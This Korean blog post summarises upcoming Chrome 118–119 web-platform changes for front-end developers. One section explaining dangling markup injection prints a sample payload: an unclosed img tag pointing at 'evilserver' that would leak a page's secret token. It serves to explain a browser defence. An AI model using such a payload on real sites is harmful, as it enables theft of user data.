프런트엔드 개발에 가장 많은 영향을 주는 크롬 브라우저의 버전별 변경 예정 항목을 정리 및 공유한다.
💡 각 항목은 Chrome Platform Status의 Roadmap과 한 달간의 blink-dev 활동 요약을 바탕으로 정리했다.
💡 각 항목의 🚫는 지원 중단 및 제거(Removed), ⚠️는 지원 중단(Deprecated), ✅는 새로운 기능(Enabled by default), 🧪는 미리 보기(Developer Trial, Origin Trial)를 의미한다.
💡 각 항목 중 기존 서비스에 미치는 영향이 크다고 판단한 항목은 소제목 뒤에 📌 표시를 했다.
💡 지원 중단 및 제거(🚫), 지원 중단(⚠️) 외의 항목은 공유 가치가 있다고 판단한 경우에만 포함했다.
💡 개발자 미리 보기(🧪)는 chrome://flags
에서 Experimental Web Platform features
항목을 활성화하거나(Developer Trial), Origin Trial을 활성화해 사용할 수 있다.
💡 각 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 Chrome Platform Status를 그대로 인용했다.
appearance
비표준 속성값 지원 중단 📌URL
생성자 파싱 규칙 표준화@scope
규칙shadowroot
지원 중단SVGUseElement
의 data:
URL 차단target
속성의 댕글링 마크업 치환appearance
비표준 속성값 지원 중단 📌CSS의 appearance
속성은 네이티브 UI의 외형을 변경할 때 사용한다. 현재 Chrome은 appearance
와 -webkit-appearance
속성의 값으로 표준에 없는 값들도 다수 지원하나, Chrome 118부터는 비표준 속성값을 지원 중단할 예정이다. 아래 속성은 비표준으로 업데이트 이후 사용 시 콘솔에 경고를 노출한다.
inner-spin-button
media-slider
media-sliderthumb
media-volume-slider
media-volume-sliderthumb
push-button
searchfield-cancel-button
slider-horizontal
sliderthumb-horizontal
sliderthumb-vertical
square-button
만약 해당 속성값에 의존하는 UI가 있다면 직접 구현하는 것으로 대체가 필요하다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
appearance
property자바스크립트로 쿠키 설정 시, 문자열에 줄바꿈 문자(\r
, \n
) 등의 제어 문자가 있다면 쿠키 설정 자체를 거부하도록 변경한다.
현재 Chrome은 쿠키 설정 시 제어 문자가 있다면 해당 문자 뒤를 잘라내고 쿠키를 설정한다.
document.cookie = 'greeting=hellow\ncookie';
document.cookie; // 'greeting=hellow'
하지만 이 방식은 개발자가 예상하지 못한 값을 설정해 사이트의 오류나, 보안 문제로 이어질 수 있다. Chrome 118부터는 문자열에 제어 문자가 있는 경우 쿠키 설정 자체를 거부할 예정이다. 기존에 자바스크립트로 쿠키를 설정하는 코드가 있다면 제어 문자가 들어갈 만한 경우가 없는지 확인이 필요하다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
Chrome에는 사용자가 설정할 수 있는 최소 글꼴 크기
설정이 있다. chrome://settings/fonts
에서 변경 가능한 설정으로, 사이트의 최소 글꼴 크기를 일정 값 이상으로 제한하는 기능이다.
이 설정의 기본값은 제한 없음이나, 7개 언어(아랍어, 페르시아어, 일본어, 한국어, 태국어, 중국어 간/번체)에만 예외적으로 특정 값을 최소 폰트 크기로 설정한다.
Chrome 118부터는 모든 글꼴의 일관된 표현을 위해 이 값을 제거할 예정이다. 업데이트 이후에 글꼴이 기존보다 작게 보일 수 있어 관련된 화면이 있다면 확인이 필요하다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
스크롤 가능한 요소에 tabindex
가 없더라도 자동으로 초점을 맞추도록 변경한다. 이는 마우스가 없는 환경에서 접근성을 높이기 위한 조치로, 스크롤 영역에 초점을 맞추고 화살표 키로 요소를 스크롤할 수 있다.
다만 실제 사이트에서 이 기능이 동작하는 경우는 찾기 어려울 것으로 보인다. 해당 기능은 자식 요소에 초점을 맞출 수 있는 요소가 없을 때만 적용되기 때문이다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
URL
파싱 규칙 표준화URL
로 웹 주소 파싱 시, %
로 인코딩한 경로를 디코딩하지 않도록 변경한다. 현재는 아래처럼 %
로 인코딩한 경로가 있는 경우, 해당 문자를 디코딩한다.
const url = new URL('http://example.com/%41');
url.href; // 'http://example.com/A'
이는 표준과 동작이 달라 Chrome 118부터는 다른 브라우저처럼 %
로 인코딩한 경로를 디코딩하지 않도록 변경할 예정이다.
const url = new URL('http://example.com/%41');
url.href; // 'http://example.com/%41'
특정 경로에 대한 인코딩, 디코딩이 필요한 경우 각각 encodeURIComponent()
, decodeURIComponent()
를 사용하는 것을 권장하니 참고하자.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
@scope
규칙CSS 표준으로 제안 중인 @scope
규칙을 적용한다. @scope
는 CSS 규칙을 특정 구간에만 적용할 수 있는 문법으로, CSS에 스코프라는 새로운 개념이 생기는 셈이다.
@scope
규칙을 단순하게 사용하면 다음과 같다.
@scope (.red-theme) {
span {
color: red;
}
}
@scope (.blue-theme) {
span {
color: blue;
}
}
위 문법은 아래처럼 일반 선택자로 구현할 수도 있으나, 꽤 큰 차이가 있다.
.red-theme span {
color: red;
}
.blue-theme span {
color: blue;
}
예를 들어 아래와 같은 페이지가 있다고 해 보자.
<div class="blue-theme">
<span>this is blue-theme</span>
<div class="red-theme">
<span>this is red-theme</span>
</div>
</div>
일반 선택자로 구현한 스타일을 적용하면 두 <span>
텍스트는 모두 파란색으로 나타난다. .blue-theme span
과 .red-theme span
의 CSS 우선 순위가 같아 나중에 선언한 .blue-theme span
의 스타일이 .red-theme span
의 스타일을 덮어씌우기 때문이다.
@scope
규칙으로 작성한 스타일을 적용하면 의도대로 첫 번째 <span>
은 파란색, 두 번째 <span>
은 빨간색으로 나타난다. @scope
는 @scope
에 선언한 상위 스코프에 해당 요소가 가까울수록 우선 순위가 높다. 때문에 두 번째 <span>
에 스타일을 적용할 때 @scope (.blue-theme)
에서 선언한 규칙보다 @scope (.red-theme)
에서 선언한 규칙이 우선 순위가 더 높아 color: red;
스타일이 color: blue;
스타일을 덮어씌운다.
또한 @scope A to B
규칙을 사용하면 아래처럼 스타일의 적용 범위를 설정할 수 있고,
@scope (.article) to (.comment) {
p {
margin: 12px 0;
}
}
&
선택자 또는 :scope
가상 선택자를 이용하면 현재 상위 스코프 요소를 선택할 수 있다.
@scope (.light-theme) {
& {
background-color: white;
}
}
@scope (.dark-theme) {
:scope {
background-color: black;
}
}
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
navigator.clipboard
로 접근 가능한 Clipboard
의 read()
, write()
메서드의 동작을 DataTransfer API
와 일관되게 사용할 수 있도록 변경한다. 내부 동작의 변경점도 있으나, 개발자 입장에서는 Clipboard.read()
메서드에 옵션 객체를 보내 정제하지 않은 HTML을 받을 수 있다는 것이 가장 큰 차이점이다.
try {
const textInput = '<style>p { color: blue; }</style><p>Hello, World!</p>';
const blobInput = new Blob([textInput], { type: 'text/html' });
const clipboardItem = new ClipboardItem({ 'text/html': blobInput });
await navigator.clipboard.write([clipboardItem]);
} catch (e) {
console.log('Failed to write.');
}
try {
const clipboardItems = await navigator.clipboard.read({ unsanitized: ['text/html'] });
const blobOutput = await clipboardItems[0].getType('text/html');
const outputHtml = await new Response(blobOutput).text();
console.log(outputHtml); // <style>p { color: blue; }</style><p>Hello, World!</p>
} catch (e) {
console.log('Failed to read clipboard.');
}
현재는 브라우저에서 항상 정제된 HTML(예시: <p>Hello, World!</p>
)을 반환한다. 이 HTML은 스타일 등의 태그가 없을뿐더러 스타일을 인라인화 하기 때문에 크기도 굉장히 커질 수 있다. 개발자는 정제되지 않은 클립보드 HTML에 접근하려면 DataTransfer API
등을 활용해야만 한다.
다만 사파리에서는 이 기능에 부정적인 입장이어서 이 기능이 표준으로 등록되긴 어려워 보인다. 사파리에서는 사이트의 출처(origin)가 다르거나 다른 애플리케이션으로 이동할 때만 HTML을 정제하는 정책을 그대로 가져간다는 입장이다.
Chrome은 사파리와 별도로 118 버전에서 해당 기능의 미리 보기를 추가하고, 121 버전에서 해당 기능을 기본 적용할 예정이다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
스크롤바에 대한 스타일을 설정할 수 있는 scrollbar-color
와 scrollbar-width
속성의 미리 보기를 추가한다.
scrollbar-color
속성은 스크롤바의 색상을 결정하며, 첫 번째 값은 스크롤바의 thumb
, 두 번째 값은 스크롤바의 track
색상으로 사용한다.
.scroll {
width: 300px;
height: 100px;
overflow-y: scroll;
scrollbar-color: lightcoral pink;
}
scrollbar-width
속성은 스크롤바의 너비를 결정하며, auto | thin | none
을 값으로 설정할 수 있다. 아직 숫자값은 사용이 불가능해 적극적인 사용은 어려워 보이나, none
값을 설정하면 간단하게 네이티브 스크롤바를 없앨 수 있다는 점은 장점이다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
Chrome 118은 2023년 10월 4일에 정식 배포 예정이다.
WebSQL
은 과거 브라우저에 데이터를 저장하기 위해 제안된 API로, Webkit 기반의 일부 브라우저에서만 사용이 가능했다. 하지만 이 프로젝트는 보안 구현 등의 어려움으로 1년 만에 폐기되었고, Webkit도 2019년에 이 API를 지원 중단했다.
이미 대부분의 브라우저에서 Web Storage API
, IndexedDB API
같은 최신 저장소 API를 사용할 수 있어 이 API를 지원 중단한다. 이미 Chrome 97에서 제3자 컨텍스트의 WebSQL
을 제거했으며, Chrome 105에서는 보안 연결을 사용하지 않는 페이지에서의 사용을 지원 중단했다.
웹에서 SQL을 계속 사용하려면 웹 어셈블리를 이용한 SQLite가 공식 대안이므로 참고하자.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
shadowroot
지원 중단선언적 Shadow DOM은 <template>
요소에 shadowroot
속성을 지정해 템플릿에서 직접 Shadow DOM을 활성화할 수 있는 기능이다. 표준에서 이 속성에 대한 이름을 shadowrootmode
로 변경함에 따라 기존 shadowroot
속성을 지원 중단한다. shadowroot
는 Chrome에서 그대로 동작하나, Chrome 111에서 추가된 스트리밍 기능을 사용할 수 없다. shadowrootmode
는 Chrome 111 이상에서 사용할 수 있으며, 다른 브라우저에서도 지원 예정이므로 shadowrootmode
속성을 사용하는 것이 좋다.
<host-element>
- <template shadowroot="open">
+ <template shadowrootmode="open">
<slot></slot>
</template>
<h2>Light content</h2>
</host-element>
Chrome 112에서 shadowroot
속성에 대한 지원 중단 미리 보기를 추가했으니 참고하자.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
shadowroot
attribute for declarative shadow DOM (Deprecated)Chrome 105에서 초안을 기반으로 구현했던 Sanitizer API
를 제거한다. 논의 과정에서 명세가 많이 변경되어 초안의 구현체를 사용하는 페이지가 많아지는 것을 사전에 방지하기 위한 조치다.
Sanitizer API
는 아직 논의 중이며, 정식 반영 일정은 불투명하다. 변경점이 더 있을 수 있으니 참고하자.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
SVGUseElement
의 data:
URL 차단SVG의 <use>
를 사용하면 외부 SVG 이미지를 불러와 현재 문서에 붙여넣을 수 있다. 강력한 기능이나 보안 문제가 있는 만큼 <use>
에는 동일 출처 정책(same-origin policy)이 적용된다. 하지만 data:
URL을 사용하는 경우는 항상 동일 출처로 취급하며, 일부 보안 모듈을 거치지 않는다.
Chrome 119부터는 data:
URL을 지원 중단할 예정이므로 기존에 data:
URL을 사용했다면 해당 이미지를 동일 출처의 .svg
이미지로 변환하거나, 인라인에서 직접 이미지를 관리하는 방법으로 전환하기를 권장한다.
<!-- SVG로 변환 -->
<svg viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg">
<circle id="circle" cx="5" cy="5" r="4" stroke="blue" />
<use href="#circle" />
</svg>
// 스크립트로 직접 이미지를 관리
const url = URL.createObjectURL(blob);
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
const use = document.createElementNS('http://www.w3.org/2000/svg', 'use');
use.setAttribute('href', `${url}#circle`);
svg.appendChild(use);
document.body.appendChild(svg);
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
target
속성의 댕글링 마크업 치환댕글링 마크업 삽입(Dangling markup injection)은 웹 공격 중 하나로, HTML 분석기의 허점을 이용해 악성 코드를 삽입해 사용자의 정보를 가로채는 공격을 말한다.
<img src="https://evilserver/?<b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah"></form>
위 코드는 <img>
요소를 일부러 불완전하게 작성함으로써 브라우저가 <img>
의 주소인 https://evilserver
에 사용자의 정보를 포함한 코드(<b>test</b><script>token = 'supersecret';</script><form action=
)를 보내도록 유도했다.
Chrome은 이런 공격에 대비해 미리 방어 조치를 취해두었으나, target
속성은 아직 이 조치가 적용되지 않았다. Chrome 119부터는 target
속성의 값이 댕글링 마크업인 경우 해당 target
속성을 _blank
로 초기화하도록 변경할 예정이다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
사용자가 무언가를 취소하거나 닫는 행위를 했을 때 이를 감지할 수 있는 CloseWatcher
를 추가한다.
CloseWatcher
는 데스크톱의 escape
버튼을 누르거나, 안드로이드 기기에서 뒤로가기 제스처를 실행하는 등, 사용자가 무언가 닫는 동작을 요청했을 때 리스너에 이벤트를 전파한다.
현재는 이런 동작을 구현하기 위해 직접 keydown
이벤트에 리스너를 추가하거나, 각 플랫폼(iOS, Android 등)에 맞춘 전용 코드를 작성해야 해 번거롭다. CloseWatcher
를 사용하면 이런 동작을 보다 간편하게 구현할 수 있다.
const watcher = new CloseWatcher();
watcher.addEventListener('close', () => {
myModal.close();
});
myModalCloseButton.addEventListener('click', () => {
watcher.destroy();
myModal.close();
});
Chrome 팀은 내부적으로 <dialog>
, popover
등의 오버레이도 해당 API를 사용하도록 변경할 예정이다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
Chrome 119은 2023년 10월 25일에 정식 배포 예정이다. 10월 4일부터 10월 19일 사이에 Chrome 베타 버전에서 해당 기능을 미리 확인해 볼 수 있다.
MutationEvent
는 DOM 요소에 변경이 있을 때 발생하는 이벤트로, DOMSubtreeModified
, DOMNodeInserted
, DOMNodeRemoved
등이 있다.
element.addEventListener(
'DOMNodeInserted',
(event) => {
console.log('새로운 요소를 감지했습니다.', event.srcElement);
},
false
);
element.append(document.createElement('span'));
// 새로운 요소를 감지했습니다. <span></span>
이 이벤트를 사용하면 DOM 변경을 추적할 수 있으나, 설계상 결함과 치명적인 성능 문제를 이유로 2011년에 표준에서 퇴출되었다.
2012년에 더 안정적인 MutationObserver
가 등장하여 현재 대부분의 브라우저에서 이 이벤트 사용 시 콘솔에 경고를 노출한다. 아직 MutationEvent
를 사용한다면 MutationObserver
로 전환할 것을 적극 권장한다.
const observer = new MutationObserver((mutations) => {
for (const mutation of mutations) {
if (mutation.type === 'childList') {
console.log('새로운 요소를 감지했습니다.', ...mutation.addedNodes);
}
}
});
observer.observe(element, { childList: true });
element.append(document.createElement('span'));
// 새로운 요소를 감지했습니다. <span></span>
Chrome 115부터는 Mutation 이벤트 사용 시 좀 더 강력한 경고를 노출하며, 내년 7월 말 배포 예정인 Chrome 127에서는 해당 API를 제거할 계획이다.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
unload
이벤트는 해당 문서 또는 자식 문서를 해제할 때 발생하는 이벤트이다. 이 이벤트를 이용하면 사용자가 페이지를 종료하기 전에 특정 동작을 실행할 수 있다.
window.addEventListener('unload', (event) => {
navigator.sendBeacon('/api/log', 'unload!');
});
하지만 unload
이벤트는 beforeunload
이벤트와 달리 기본 동작을 취소(event.preventDefault()
)할 수 없어 이벤트가 아예 발생하지 않기도 한다. W3C의 통계에 따르면 unload
이벤트가 제대로 발생하는 경우가 Chrome 데스크탑에서는 95%, 모바일에서는 57% ~ 68% 정도로, 이는 모바일 환경의 특성상 브라우저가 아닌 다른 앱을 보다가 브라우저 자체를 종료하는 경우가 빈번하기 때문이다.
Chrome은 점진적으로 unload
이벤트를 제거한다는 계획으로, 먼저 Permission-Policy
를 추가하고, 기본값을 deny
로 바꾸며, 결과적으로는 unload
이벤트 자체를 제거할 계획이다. Chrome 117에서 unload
이벤트의 허용 여부를 결정하는 Permission-Policy
의 미리 보기를 추가했으니 참고하자.
이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.
내부망 접근 규칙(Local Network Access) 적용의 일부로 하위 리소스(.js
, .css
등)를 요청할 때 내부망(사설 IP, localhost)에 대한 접근 제한을 검토 중이다. 정식 적용 일정은 불투명하나, 미리 보기로 일부 기능을 체험할 수 있다.
공개 웹 사이트(공개 IP로 접근 가능한 사이트)에서 내부망에 하위 리소스(.js
, .css
등) 요청 시 반드시 보안 컨텍스트(HTTPS)를 사용하도록 제한한다. 내부망의 하위 리소스에 접근하려면 보안 컨텍스트를 사용하도록 변경해야 한다.
Chrome 86 이상에서 실험적 웹 기능을 활성화해 접근 제한을 미리 체험할 수 있다.
내부망에 하위 리소스 요청 시 사전 요청을 보내 연결 허용 여부를 먼저 묻는다. 현재는 사전 요청 실패 시 개발자 콘솔에 경고만 노출한다.